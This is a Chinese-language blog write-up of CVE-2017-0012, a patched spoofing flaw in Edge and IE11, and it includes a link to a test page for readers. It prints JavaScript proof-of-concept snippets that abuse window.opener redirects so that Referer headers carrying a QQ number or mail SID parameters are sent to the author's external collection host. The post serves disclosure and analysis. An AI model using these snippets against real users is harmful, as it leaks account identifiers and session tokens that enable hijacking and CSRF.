CVE-2017-0012 Microsoft浏览器欺诈漏洞分析

如果阅读不便,请移步原文地址:http://bobao.360.cn/learning/detail/3612.html

 

IE这个漏洞提交超过一个月了,微软近几天发布更新。所以才起草了分析文章。不明白的同学可以先看一下去年我明白问题时候,同好友hope探讨后,由他在i春秋发布的一篇文章,以及一些其他的参考资料。

http://bbs.ichunqiu.com/thread-10111-1-1.html
https://bugzilla.mozilla.org/show_bug.cgi?id=736871
http://code.google.com/p/chromium/issues/detail?id=168988

影响版本

Microsoft Edge

Internet Explorer 11

漏洞分析

parent.window.opener.location可以使打开他的窗口location跳转到其他的域名,在尝试使用跨域的时候,我首先发现了这个问题,以下是我发现问题时候的测试代码。

parent.window.opener.location = 'http://www.qq.com';

我通过360SRC的友情链接打开了360的appscan,尝试在appscan网页的控制台注入这一段JS,可以看到JS注入后,360SRC的网页变成了腾讯首页。

而就在此时我发现appscan的控制台居然报错了,并且内容属于腾讯首页的资源报错。

如图,我们发现本来不属于appscan站点的错误,显示在了appscan的控制台,随后我在Chrome、Firefox、IE8中测试发现均不存在该问题。

于是第一时间就想到了跨域,会不会存在跨域问题呢?所以很快写了一段代码进行验证,希望能达到跨域执行js,即UXSS,这段代码在同域下可以执行js,但是跨域是不可以的。

function func(){
parent.window.opener.location = 'http://www.qq.com';
}
if (parent.window.opener) {
parent.window.opener.location = 'javascript:alert("xsseng")';setTimeout(func,"3000");
};

浏览器阻止了我的操作,本来问题到这里就应该结束,但是后来发现了其他的问题,当我执行以下代码的时候,我们可以看到如下的HTTP请求中的REFERER。

我们通过appscan站点执行js,referer头却是security站点,这一点是违反了W3C的标准(所有浏览器在这里的处理方式都是appscan站点),为了探究问题是否只是存在于同一个子域下,我把测试站点换到了两个完全不同的域。

function func(){
parent.window.opener.location = 'http://www.inetsrc.com/ref.php';
}
if (parent.window.opener) {
parent.window.opener.location = 'http://i.qq.com';setTimeout(func,"3000");
};

我写了一段代码,来要求i.qq.com请求我的测试站点,以获得QQ空间的来源,其中的ref.php直接输出$_SERVER[“HTTP_REFERER”]。

会发现在测试站点中,不仅可以得到i.qq.com的请求,如果我们登陆QQ空间,那么i.qq.com会跳转到user.qzone.qq.com并且泄露了你的QQ号。那么问题不仅仅会造成更多的CSRF漏洞,如果用户登陆了微博一些邮箱,可以通过控制好setTimeout来获取可以导致用户信息泄露的参数,为此我搭建了https一个测试站点用来测试某邮箱系统,尝试读取SID参数。

function func(){
parent.window.opener.location = 'https://www.esqsm.com/index.php';
}
if (parent.window.opener) {
parent.window.opener.location = 'https://mail.qq.com';setTimeout(func,"3000");
};

由于QQ邮箱配置了SSL,所以接收来源的站点也需要配置SSL。这里由于登陆了QQ邮箱,访问mail.qq.com的时候会跳转到邮箱的首页,导致location的更换,referer就泄露了用户信息。

由于网站的差异,了解邮箱的同学们也知道,在某些特定的接口中,可以让一些参数权限提升,达到登陆邮箱的目的,这包括很多邮箱系统或微博,当然即便你无法做到登陆它,当你获得了一些参数,结合你的漏洞你也可以CSRF做一些高危操作,例如15年我提交过的QQ邮箱(http://bobao.360.cn/learning/detail/672.html)和Coremail的更改密保问题,这都因为他们将防止CSRF的toekn直接放到了地址栏。

当然漏洞危害不仅仅泄露了跳转后的参数与无限制的ref伪造,我们会发现在调试台的资源处,加载了三处的资源,一处调试台共享的三处站点的所有网络请求还有错误信息。而这在其他浏览器与Edge正常情况下是不会存在的,即便你打开了两个以上的页面。

正常的情况,只加载页面本身的性能分析报告

而在漏洞中,性能分析对多个窗口同时进行。

漏洞检测

对此我特地准备了一个漏洞检测,以检测你的浏览器是否存在该漏洞。

http://www.inetsrc.com/cvejc0.html

由于js模拟了点击,请允许网页弹出窗口,或者手工点击测试。

如果父窗口在点击后显示“http://www.inetsrc.com/cvejc.html”则漏洞不存在。

参考资料

360安全播报原文:http://bobao.360.cn/learning/detail/3612.html

https://technet.microsoft.com/zh-cn/library/security/ms17-006.aspx

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0012

https://www.symantec.com/security_response/vulnerability.jsp?bid=96085&om_rssid=sr-advisories

http://www.securityfocus.com/bid/96085/info

其他

感谢一直陪伴我成长的SecBox和我的小伙伴们,如果你们有任何关于漏洞跟进一步利用的思路,恳请留言,我十分渴望与你交流。

发表评论

电子邮件地址不会被公开。 必填项已用*标注